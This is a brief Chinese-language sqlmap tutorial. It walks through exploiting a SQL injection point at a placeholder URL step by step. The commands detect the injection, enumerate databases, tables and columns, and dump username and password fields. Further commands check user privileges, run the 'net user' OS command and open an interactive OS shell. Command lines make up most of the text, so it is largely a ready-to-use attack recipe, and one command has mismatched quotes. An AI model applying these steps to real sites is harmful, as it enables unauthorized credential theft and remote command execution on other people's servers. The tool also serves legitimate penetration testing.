sqlmap入门例子
SQLMap的命令一般都是通用的,只有极少数命令行是针对个别数据库的。
举例:
已知存在注入点http://www.test.com?id=1,使用sqlmap对其提取管理员数据
第一步:判断是否是注入点(参数-u)
python sqlmap.py -u http://www.test.com?id=1
使用-u参数指定url,如果存在注入点,将会显示web容器,数据库版本信息
第二步,获取数据库(–dbs):
python sqlmap.py -u http://www.test.com?id=1 --dbs
第三步:查看当前应用程序所用数据库(使用–current-db参数)
python sqlmap.py -u http://www.test.com?id=1 --current-db
第四步:列出指定数据库所有表(–table获取数据库表 -D参数指定数据库)
python sqlmap.py -u http://www.test.com?id=1 --table -D ‘test’
第五步:读取指定表中的字段名称(–columns参数指定字段名)
python sqlmap.py -u http://www.test.com?id=1 --columns -T 'users' -D 'test'
第六步:读取指定字段内容(–dump意为转存数据,-C参数指定字段名称,-T指定表名(因User属于数据库关键字,所以建议加上[],-D指定数据库名称))
python sqlmap.py -u http://www.test.com?id=1 --dump -C ‘username,passwd’ -T '[User] -D 'test'
读取数据后,sqlmap将会把读取的数据转存到sqlmap/output目录下
文件以‘tabl.csv’保存
sqlmap参数
测试注入点权限
测试所有用户权限
sqlmap.py -u [url] -- privileges
测试用户xxx的用户权限
sqlmap.py -u [url] -- privileges -U xxx
sqlmap区分大小写
执行shell命令
执行net user命令
sqlmap.py -u [url] --os-cmd='net user'
系统交互的shell
sqlmap.py -u [url] --os-shell